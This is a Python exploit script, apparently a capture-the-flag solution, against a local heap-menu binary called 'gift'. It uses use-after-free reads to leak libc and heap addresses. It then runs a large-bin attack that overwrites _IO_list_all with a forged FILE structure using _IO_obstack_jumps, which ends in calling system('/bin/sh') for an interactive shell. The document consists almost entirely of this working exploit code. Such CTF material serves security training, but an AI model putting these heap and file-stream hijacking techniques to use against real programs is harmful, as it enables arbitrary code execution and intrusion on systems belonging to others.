1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| from gt import * con("amd64")
io = process("./gift") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add1(size): io.sendlineafter(">> ","1") io.sendlineafter("3. Gf3~","1") io.sendlineafter(" Gf1:",str(size))
def add2(size): io.sendlineafter(">> ","1") io.sendlineafter("3. Gf3~","2") io.sendlineafter(" Gf2:",str(size))
def add3(size): io.sendlineafter(">> ","1") io.sendlineafter("3. Gf3~","3") io.sendlineafter(" Gf3:",str(size))
def free(index): io.sendlineafter(">> ","2") io.sendlineafter("someone:",str(index))
def show(index): io.sendlineafter(">> ","3") io.sendlineafter("gift:",str(index))
def edit(index,msg): io.sendlineafter(">> ","4") io.sendlineafter("gift:",str(index)) io.sendlineafter(":",msg)
add3(0x420) add3(0x420) free(0) show(0)
io.recvuntil("content:") libc_base = u64(io.recv(6).ljust(8,b'\x00')) -96 - 0x10 -libc.sym["__malloc_hook"] suc("libc_base",libc_base) free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] list_all = libc_base + libc.sym["_IO_list_all"] stdout = libc_base + libc.sym["stdout"] suc("stdout",stdout) add1(0x80) add1(0x80) free(2) free(3)
show(3) io.recvuntil("content:") heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x11ed0 suc("heap_base",heap_base)
add3(0x300)
add3(0x440) add3(0x430) add3(0x430) free(5) add3(0x450) free(7) binsh = libc_base + next(libc.search("/bin/sh")) _IO_obstack_jumps = libc_base + 0x1e9260 suc("_IO_obstack_jumps",_IO_obstack_jumps) fake_io_addr = heap_base + 0x12fb0
payload = flat( { 0x8:1, 0x10:0, 0x18:1, 0x20:0, 0x28:system, 0x38:binsh, 0x40:1, 0xc8:_IO_obstack_jumps+0x20, 0xd0:fake_io_addr, }, filler = '\x00' )
edit(5,p64(fake_io_addr)*3+p64(list_all-0x20))
add3(0x460) edit(7,payload)
add3(0x490) add3(0x480) add3(0x480) free(10) add3(0x4a0) free(12) chunk = heap_base + 0x11ea0+0x10 suc("chunk",chunk)
edit(10,p64(heap_base+0x145f0)*2+p64(0x1ecff0+libc_base)+p64(chunk-0x20+1))
add3(0x4a0)
gdb.attach(io) pause() io.sendlineafter(">> ","6")
io.interactive()
|